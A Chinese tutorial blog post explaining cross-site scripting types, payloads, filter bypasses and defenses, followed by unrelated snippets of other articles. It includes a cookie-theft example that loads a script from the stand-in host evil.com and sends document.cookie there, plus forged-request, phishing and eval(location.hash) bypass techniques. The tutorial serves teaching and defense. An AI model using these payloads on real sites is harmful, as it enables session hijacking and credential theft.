【XSS】
文章目录
- 0x01 简介
- 0x02 XSS Payload用法
- XSS攻击平台及调试JavaScript
- 0x03 XSS绕过
- XSS漏洞防御策略
跨站脚本攻击,Cross Site Script。(重点在于脚本script)
有关XSS可以造成的 危害,见 0x02 XSS Payload用法
分类
- 反射型、
- 存储型
- DOM型
漏洞原理:通过插入script篡改“HTML”内容,控制浏览器的一种攻击。也可以说 诱导用户执行XSS Payload.
常用脚本标签:
<script>alert('hack');</script>
<img src=x onerror="alert('hack');">
<svg onload=alert('hack')>
<a href=javascript:alert('hack')>
0x01 简介
-
反射型 / 非持久型XSS
定义:用户点击恶意URL,发送给server,server返回相关内容给浏览器。
前提:用户已经 处于某种 登录状态
示例:

攻击方式:注入、诱导点击 -
存储型 / 持久性XSS
定义:将含有script的文本/文件/数据等的 用户输入,存储到server。
攻击方式:存储内容的地方如博客,文件上传的地方。
- DOM型
定义:修改页面的DOM节点形成。从效属于反射型XSS。
攻击方式:用户直接执行含有恶意的DOM;(其实就是恶意html)
前提:用户处 登录状态,用户被诱导点击。
示例:
将<a href='' onlick=alert(/xss/)//' 内容</a>替换下面的a标签。

0x02 XSS Payload用法
(实现XSS攻击script,被 称为“XSS Payload”)
- cookie攻击/cookie劫持
- 构造GET与POST请求
- XSS钓鱼
- 识别浏览器
- 识别软件
- 真实IP
- cookie劫持示例:
//1 使用户 加载远程脚本
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>
//2 在evil.js中的代码窃取Cookie
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
//3 到server看cookie,登录相同页面输入
防止“Cookie劫持”方法:Cookied的“HttpOnlu”标识
- 构造GET与POST请求
具体方式:构造url、图片或表单、通过XMLHttpRequest发送一个POST请求。
# 构造相关url
http://../XX?m=delete&id=123383
# 构造并插入图片
var img = document.createElement("img");
img.src = "http://xx?m=delete&id=123383";
document.body.appenChild(img);
(构造时,若js麻烦,直接使用html)
-
XSS钓鱼
实现思路:利用JS在页面伪造登录框,输入密码后被发送到黑客的server。(被用来窃取密码。) -
识别用户浏览器
为深入渗透时,可能需要知道用户个人信息,就可能要进行浏览器内存攻击,给计算机植入木马。
方法:用JS获取浏览器User-Agent;
缺点:可被代理伪造;
更准确的方法:根据不通浏览器,同一浏览器不通版本差别 来识别。
安全研究者Gareth Heyes曾经找到一种更巧妙的方法。
//Firefox detector 2/3 by DoctorDan
FF=/a/[-1]=='a'
//Firefox 3 by me:-
FF3=(function x(){})[-5]=='x'
//Firefox 2 by me:-
FF2=(function x(){})[-6]=='x'
//IE detector I posted previously
IE='\v'=='v'
//Safari detector by me
Saf=/a/.__proto__=='//'
//Chrome by me
Chr=/source/.test((/a/.toString+''))
//Opera by me
Op=/^function \(/.test([].sort)
//IE6 detector using conditionals
try {IE6=@cc_on @_jscript_version <=
5.7&&@_jscript_build<10000
精简为一行代码,即
B=(function x(){})[-5]=='x'?'FF3':(function
x(){})[-6]=='x'?'FF2':/a/
[-1]=='a'?'FF':'\v'=='v'?'IE':/
a/.__proto__=='//'?'Saf':/s/.
test(/a/.toString)?'Chr':/^function
\(/.test([].sort)?'Op':'Unknown'
- 识别用户安装软件
浏览器的ActiveX的clas-sid是否有软件的控件clas-sid
插件对象有访问全部插件的权限
XSS攻击平台及调试JavaScript
收集了XSS Payload。演示XSS的危害及方便渗透使用。
- Attack API
- BeEF
- XSS-Proxy
调试JS:Firebug、HttpWatch、Fiddler
0x03 XSS绕过
server可能对关键字过滤,如script.
- 利用字符编码
通过输入端与返回不同编码,导致转义失效;
实体编码;url编码; - 绕过 长度限制
XSS Payload插入时大多有内容长度限制,限制了字符如何绕喃?
答1:利用事件(Event)缩短字节数:
<input type=text value="" onclick=alert(1)//"/>
最好有“藏代码地方”用事件调用:“location.hash”,并且其内容不会再HTTP包发送server,server日志找不到。
js:" onclick="eval(location.hash.substr(1))
url:http://xx/#alert(1)
当可以控制2个框内容时,也可抓包将输入框之间的HTML内容注释掉,来突破输入字节限制。 - 用
<base>标签
使用base标签来劫持 服务器上 用相对地址的图片 - window.name绕过xss限制
XSS 防御
- HttpOnly:禁止页面的JavaScript访问带有HttpOnly属性的cookie。(不同语言有不同设置httponly的方法)
- 输入检查,被称为“XSS Filter”。(对敏感字符检查)网上有许多开源的XSS Filter输入检查。
- 输出检查:检查富文本内容、编码 / 转义输出变量
常见 XSS编码绕过编码:JS编码、HTML实体编码和URL编码
XSS漏洞防御策略
漏洞原理:代码和数据不分离。表现:对用户的输入进行原样地输出。
防御:
输入环节:
限制页面输入长度、特殊字符、后端代码限制输入长度和特殊字符(前后分离)
使用过滤器统一处理 优先使用开源工具包如apache text、owasp AntiSamy或自定义处理规则或购买第三方解决方案如阿里云防火墙
Cookie防护:
cookie属性设置为只可读 httpOnly
X-Frame-Options 响应头(是否优先 frame、iframe等标记)
输出环节:
显示时对字符进行转义处理(几乎完全依赖第三方开源)
XSS解决方案 内容安全策略CSP(springboot提供额外安全层,site发送CSP头部授权浏览器授权和禁止操作)
xss 漏洞修复建议
因为xss漏洞涉及输入和输出两部分,所以其修复也分为两种。
• 过滤输入的数据,包括“’” “””“<”“〉”“ on *”等非法字符
• 对输出到页面的数据进行相应的编码转换,包括HTML实体编码、 JavaS cript
编码等
相关文章:
【XSS】
文章目录 0x01 简介0x02 XSS Payload用法XSS攻击平台及调试JavaScript 0x03 XSS绕过XSS漏洞防御策略 跨站脚本攻击,Cross Site Script。(重点在于脚本script) 有关XSS可以造成的 危害,见 0x02 XSS Payload用法 分类 反射型、存储…...
Go网络编程-RPC程序设计
gRPC 通信 RPC 介绍 RPC, Remote Procedure Call,远程过程调用。与 HTTP 一致,也是应用层协议。该协议的目标是实现:调用远程过程(方法、函数)就如调用本地方法一致。 如图所示: 说明: Servi…...
Linux 性能优化:轻松入门
文章目录 前言一、磁盘性能优化1、 磁盘 RAID 模式选择2、文件系统优化 二、优化 CPU1、性能监控 :2、进程优先级调整 :3、进程与 CPU 绑定 : 三、优化内存四、网络性能优化1、调整 TCP 缓冲区大小2、修改系统级别的文件描述符的数量3、调整 …...
C++相关概念和易错语法(22)(final、纯虚函数、继承多态难点)
1.final final在继承和多态中都可以使用,在继承中是指不想将自己被继承,在多态中是指不想该函数被重写,比较简单,下面是一些使用例子。 2.纯虚函数 当我们需要抽象一个类的时候,我们就需要用到纯虚函数。所谓抽象的类…...
状态管理的艺术:探索Flutter的Provider库
状态管理的艺术:探索Flutter的Provider库 前言 上一篇文章中,我们详细介绍了 Flutter 应用中的状态管理,以及 StatefulWidget 和 setState 的使用。 本篇我们继续介绍另一个实现状态管理的方式:Provider。 Provider优缺点 基…...
玩转HarmonyOS NEXT之IM应用首页布局
本文从目前流行的垂类市场中,选择即时通讯应用作为典型案例详细介绍HarmonyOS NEXT的各类布局在实际开发中的综合应用。即时通讯应用的核心功能为用户交互,主要包含对话聊天、通讯录,社交圈等交互功能。 应用首页 创建一个包含一列的栅格布…...
GPT-4o大语言模型优化、本地私有化部署、从0-1搭建、智能体构建
原文链接:GPT-4o大语言模型优化、本地私有化部署、从0-1搭建、智能体构建https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247608565&idx3&snd4e9d447efd82e8dd8192f7573886dab&chksmfa826912cdf5e00414e01626b52bab83a96199a6bf69cbbef7f7fe…...
记录些MySQL题集(4)
1、数据库的三范式是什么? 第一范式:列不可再分 第二范式:在第一范式的基础上,要求数据库表中的所有非主键列完全依赖于主键,而不是仅依赖于主键的一部分 第三范式:满足第二范式的基础上,所有…...
pdf提取其中一页怎么操作?提取PDF其中一页的方法
pdf提取其中一页怎么操作?需要从一个PDF文件中提取特定页码的操作通常是在处理文档时常见的需求。这种操作允许用户选择性地获取所需的信息,而不必操作整个文档。通过选择性提取页面,你可以更高效地管理和利用PDF文件的内容,无论是…...
godot使用ws
go服务端 package mainimport ("encoding/json""fmt""github.com/gorilla/websocket""net/http" )var upgrader websocket.Upgrader{ReadBufferSize: 1024,WriteBufferSize: 1024, }// 处理函数 func handleWebSocket(w http.Respo…...
Windows FFmpeg 开发环境搭建
FFmpeg 开发环境搭建 FFmpeg命令行环境搭建使用FFmpeg官方编译的库Windows编译FFmpeg1. 下载[msys2](https://www.msys2.org/#installation)2. 安装完成之后,将安装⽬录下的msys2_shell.cmd中注释掉的 rem set3. 修改pacman 镜像源并安装依赖4. 下载并编译源码 FFmpeg命令行环境…...
链路聚合概述
目录 技术背景: 基本概念: 链路聚合的工作模式: 简介: 1)Manual Load-balance(手动负载分担) 简介: 配置实施: 2)LACP(链路聚合控制协议ÿ…...
【链表】算法题(二) ----- 力扣/牛客
一、链表的回文结构 思路: 找到链表的中间节点,然后逆置链表的后半部分,再一一遍历链表的前半部分和后半部分,判断是是否为回文结构。 快慢指针找到链表的中间节点 slow指针指向的就是中间节点 逆置链表后半部分 逆置链表后半部分…...
合成复用原则
合成复用原则 (Composite Reuse Principle, CRP) 合成复用原则(Composite Reuse Principle, CRP),也被称为组合/聚合复用原则,是面向对象设计中的一条重要原则。它的核心思想是:优先使用对象组合/聚合,而不…...
安卓自带camera hal3 实例README.md翻译
最近,遇到一个这样的问题,临时了解下这个驱动实现架构和特点,翻译如下 V4L2相机HALv3 camera.v4l2库使用视频Linux 2(V4L2)接口实现了camera HAL v3。这使得它在理论上可以与各种设备配合使用,尽管V4L2的…...
ActiViz实战:ActiViz中的自己实现鼠标双击事件
文章目录 1、添加鼠标事件2、网上实现双击事件的方式3、增加双击的时间限制4、补充说明1、添加鼠标事件 已知在C#中观察者/命令模式会报错,正常添加鼠标事件如下: private void VtkInteractorStyleTest() {vtkInteractorStyle style = vtkInteractorStyle.New();style.LeftB…...
Linux-交换空间(Swap)管理
引入概念 在计算机中,硬盘的容量一般比内存大,内存(4GB 8GB 16GB 32GB 64GB…),硬盘(512GB 1T 2T…)。 冯诺依曼的现代计算机结构体系里面的存储器就是内存 内存是一种易失性存储器,…...
扫描某个网段下存活的IP:fping
前言: 之前用arp统计过某网段下的ip,但是有可能统计不全。网络管理平台又不允许登录。想要知道当前的ip占用情况,可以使用fping fping命令类似于ping,但比ping更强大。与ping需要等待某一主机连接超时或发回反馈信息不同&#x…...
【深度学习】PyTorch框架(3):优化与初始化
1.引言 在本文中,我们将探讨神经网络的优化与初始化技术。随着神经网络深度的增加,我们会遇到多种挑战。最关键的是确保网络中梯度流动的稳定性,否则可能会遭遇梯度消失或梯度爆炸的问题。因此,我们将深入探讨以下两个核心概念&a…...
Go-知识测试-子测试
Go-知识测试-子测试 1. 介绍2. 例子3. 子测试命名规则4. 选择性执行5. 子测试并发6. testing.T.Run7. testing.T.Parallel8. 子测试适用于单元测试9. 子测试适用于性能测试10. 总结10.1 启动子测试 Run10.2 启动并发测试 Parallel 建议先看:https://blog.csdn.net/a…...
8k长序列建模,蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂
蛋白质结合剂(如抗体、抑制肽)在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上,高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术,但这类方法普遍面临资源消耗巨大、研发周期冗长…...
解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八
现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet,点击确认后如下提示 最终上报fail 解决方法 内核升级导致,需要在新内核下重新下载编译安装 查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...
【第二十一章 SDIO接口(SDIO)】
第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...
对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...
Java多线程实现之Callable接口深度解析
Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...
GC1808高性能24位立体声音频ADC芯片解析
1. 芯片概述 GC1808是一款24位立体声音频模数转换器(ADC),支持8kHz~96kHz采样率,集成Δ-Σ调制器、数字抗混叠滤波器和高通滤波器,适用于高保真音频采集场景。 2. 核心特性 高精度:24位分辨率,…...
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析 一、第一轮提问(基础概念问题) 1. 请解释Spring框架的核心容器是什么?它在Spring中起到什么作用? Spring框架的核心容器是IoC容器&#…...
【C++】纯虚函数类外可以写实现吗?
1. 答案 先说答案,可以。 2.代码测试 .h头文件 #include <iostream> #include <string>// 抽象基类 class AbstractBase { public:AbstractBase() default;virtual ~AbstractBase() default; // 默认析构函数public:virtual int PureVirtualFunct…...
stm32wle5 lpuart DMA数据不接收
配置波特率9600时,需要使用外部低速晶振...
华为OD最新机试真题-数组组成的最小数字-OD统一考试(B卷)
题目描述 给定一个整型数组,请从该数组中选择3个元素 组成最小数字并输出 (如果数组长度小于3,则选择数组中所有元素来组成最小数字)。 输入描述 行用半角逗号分割的字符串记录的整型数组,0<数组长度<= 100,0<整数的取值范围<= 10000。 输出描述 由3个元素组成…...
